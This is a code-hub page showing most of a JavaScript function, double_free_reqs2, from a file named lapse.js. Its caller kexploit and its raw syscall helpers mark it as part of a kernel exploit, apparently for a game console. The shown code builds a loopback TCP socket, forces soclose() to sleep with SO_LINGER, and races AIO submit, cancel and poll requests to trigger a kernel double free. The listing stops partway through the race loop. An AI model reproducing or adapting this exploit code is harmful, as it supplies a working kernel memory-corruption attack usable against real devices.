MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / double_free_reqs2

Function double_free_reqs2

g2all/900/lapse.js:671–749  ·  view source on GitHub ↗
(sds)

Source from the content-addressed store, hash-verified

669}
670
671function double_free_reqs2(sds) {
672 function swap_bytes(x, byte_length) {
673 let res = 0;
674 for (let i = 0; i < byte_length; i++) {
675 res |= ((x >> 8 * i) & 0xff) << 8 * (byte_length - i - 1);
676 }
677
678 return res >>> 0;
679 }
680
681 function htons(x) {
682 return swap_bytes(x, 2);
683 }
684
685 function htonl(x) {
686 return swap_bytes(x, 4);
687 }
688
689 const server_addr = new Buffer(16);
690 // sockaddr_in.sin_family
691 server_addr[1] = AF_INET;
692 // sockaddr_in.sin_port
693 server_addr.write16(2, htons(5050));
694 // sockaddr_in.sin_addr = 127.0.0.1
695 server_addr.write32(4, htonl(0x7f000001));
696
697 const racer = new Chain();
698 const barrier = new Long();
699 call_nze('pthread_barrier_init', barrier.addr, 0, 2);
700
701 const num_reqs = 3;
702 const which_req = num_reqs - 1;
703 const reqs1 = make_reqs1(num_reqs);
704 const reqs1_p = reqs1.addr;
705 const aio_ids = new View4(num_reqs);
706 const aio_ids_p = aio_ids.addr;
707 const req_addr = aio_ids.addr_at(which_req);
708 const cmd = AIO_CMD_MULTI_READ;
709
710 const sd_listen = new_tcp_socket();
711 ssockopt(sd_listen, SOL_SOCKET, SO_REUSEADDR, new Word(1));
712
713 sysi('bind', sd_listen, server_addr.addr, server_addr.size);
714 sysi('listen', sd_listen, 1);
715
716 for (let i = 0; i < num_races; i++) {
717 const sd_client = new_tcp_socket();
718 sysi('connect', sd_client, server_addr.addr, server_addr.size);
719
720 const sd_conn = sysi('accept', sd_listen, 0, 0);
721 // force soclose() to sleep
722 ssockopt(sd_client, SOL_SOCKET, SO_LINGER, View4.of(1, 1));
723 reqs1.write32(0x20 + which_req*0x28, sd_client);
724
725 aio_submit_cmd(cmd, reqs1_p, num_reqs, aio_ids_p);
726 aio_multi_cancel(aio_ids_p, num_reqs);
727 aio_multi_poll(aio_ids_p, num_reqs);
728

Callers 1

kexploitFunction · 0.70

Calls 15

logFunction · 0.90
dieFunction · 0.90
htonsFunction · 0.70
htonlFunction · 0.70
call_nzeFunction · 0.70
make_reqs1Function · 0.70
new_tcp_socketFunction · 0.70
ssockoptFunction · 0.70
sysiFunction · 0.70
aio_submit_cmdFunction · 0.70
aio_multi_cancelFunction · 0.70
aio_multi_pollFunction · 0.70

Tested by

no test coverage detected